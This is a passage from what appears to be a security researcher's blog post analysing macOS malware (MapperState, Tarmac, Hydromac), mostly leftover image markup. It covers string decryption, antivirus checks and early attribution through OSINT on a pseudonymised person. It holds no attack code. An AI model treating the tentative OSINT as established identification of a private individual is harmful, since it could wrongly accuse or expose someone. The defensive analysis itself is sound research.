pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>scanning for mov edx, x</p><p>All the pieces glued together, we can run the IDAPython script, that will emulate the decryption blocks for us, with each time passing a different encrypted string and its length, below is the script output:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZnCn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZnCn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png 424w, https://substackcdn.com/image/fetch/$s_!ZnCn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png 848w, https://substackcdn.com/image/fetch/$s_!ZnCn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png 1272w, https://substackcdn.com/image/fetch/$s_!ZnCn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZnCn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png" width="700" height="366" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:366,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ZnCn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png 424w, https://substackcdn.com/image/fetch/$s_!ZnCn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png 848w, https://substackcdn.com/image/fetch/$s_!ZnCn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png 1272w, https://substackcdn.com/image/fetch/$s_!ZnCn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f2b7b24-bc5f-452e-ac2e-8a0ae2c16326_700x366.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>part of the strings decrypted</p><p>Full list of the decryption strings can be found <a href="https://gist.github.com/tahaconfiant/854f6f8ed0baf3ad34e3df4925b89a60">here</a>.</p><h3><strong>Malware features</strong></h3><p>MapperState have the capability to download and execute other programs it seems to be a simple downloader for another malware.</p><p>It is worth noting that this malware is checking for installed AVs:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DMsE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DMsE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png 424w, https://substackcdn.com/image/fetch/$s_!DMsE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png 848w, https://substackcdn.com/image/fetch/$s_!DMsE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png 1272w, https://substackcdn.com/image/fetch/$s_!DMsE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DMsE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png" width="700" height="452" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:452,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!DMsE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png 424w, https://substackcdn.com/image/fetch/$s_!DMsE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png 848w, https://substackcdn.com/image/fetch/$s_!DMsE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png 1272w, https://substackcdn.com/image/fetch/$s_!DMsE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c75961-d007-4961-ac9e-a23daa01cd01_700x452.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>part of the decrypted strings</p><p>We didn&#8217;t get to the point to see what this malware downloads, as the C2 server was replying with empty content. but we will keep hunting.</p><h2><strong>Early Attribution</strong></h2><p>Around September 2019 when we revealed and analyzed <a href="https://www.confiant.com/resources/news/macos-users-targeted-with-new-tarmac-malware">OSX/Tarmac</a>, the malware name we chose wasn&#8217;t random. After decrypting OSX/Tarmac strings and searching for them on the internet, we found an interesting flashcards app, that was publicly exposing OSX/Tarmac Agent, Command And Controls commands.</p><p>The commands we found in our sample, 100% matched the commands listed in the flash cards app. In fact, this is where the name Tarmac originally came from. Below are one of the flashcards of the Tarmac malware:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VFP_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VFP_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png 424w, https://substackcdn.com/image/fetch/$s_!VFP_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png 848w, https://substackcdn.com/image/fetch/$s_!VFP_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png 1272w, https://substackcdn.com/image/fetch/$s_!VFP_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VFP_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png" width="1456" height="1065" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1065,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!VFP_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png 424w, https://substackcdn.com/image/fetch/$s_!VFP_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png 848w, https://substackcdn.com/image/fetch/$s_!VFP_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png 1272w, https://substackcdn.com/image/fetch/$s_!VFP_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c7e115-e07d-45fc-a506-d20374e63f2f_1810x1324.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QX3D!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QX3D!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png 424w, https://substackcdn.com/image/fetch/$s_!QX3D!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png 848w, https://substackcdn.com/image/fetch/$s_!QX3D!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png 1272w, https://substackcdn.com/image/fetch/$s_!QX3D!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QX3D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png" width="1456" height="1114" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1114,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!QX3D!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png 424w, https://substackcdn.com/image/fetch/$s_!QX3D!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png 848w, https://substackcdn.com/image/fetch/$s_!QX3D!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png 1272w, https://substackcdn.com/image/fetch/$s_!QX3D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd096a644-7cd7-4571-bdb1-07dd170b48b4_1726x1320.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Tarmac Messages, documented in a Flash cards app</p><p>The account disclosing this information of the flashcards app, will be referred to as Individual X. Based on the OSINT info, it seems that Individual X is living somewhere in San Diego, CA , and have registered a domain name Y, using what looks like a personal gmail account. Furthermore, the individual X have a Github account, with the same handle and same profile photo as in the flashcards app account. Most of the repos are related to web development:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-HZ3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-HZ3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png 424w, https://substackcdn.com/image/fetch/$s_!-HZ3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png 848w, https://substackcdn.com/image/fetch/$s_!-HZ3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png 1272w, https://substackcdn.com/image/fetch/$s_!-HZ3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-HZ3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png" width="700" height="375" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:375,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!-HZ3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png 424w, https://substackcdn.com/image/fetch/$s_!-HZ3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png 848w, https://substackcdn.com/image/fetch/$s_!-HZ3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png 1272w, https://substackcdn.com/image/fetch/$s_!-HZ3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F254832e8-7ec6-452f-a4d8-f6c4f767cdde_700x375.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Individual X, github account</p><p>Another finding while looking at other flashcards published by the same Individual X, revealed another malware dubbed <strong>Hydromac</strong>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4beo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4beo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png 424w, https://substackcdn.com/image/fetch/$s_!4beo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png 848w, https://substackcdn.com/image/fetch/$s_!4beo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png 1272w, https://substackcdn.com/image/fetch/$s_!4beo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4beo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png" width="700" height="355" 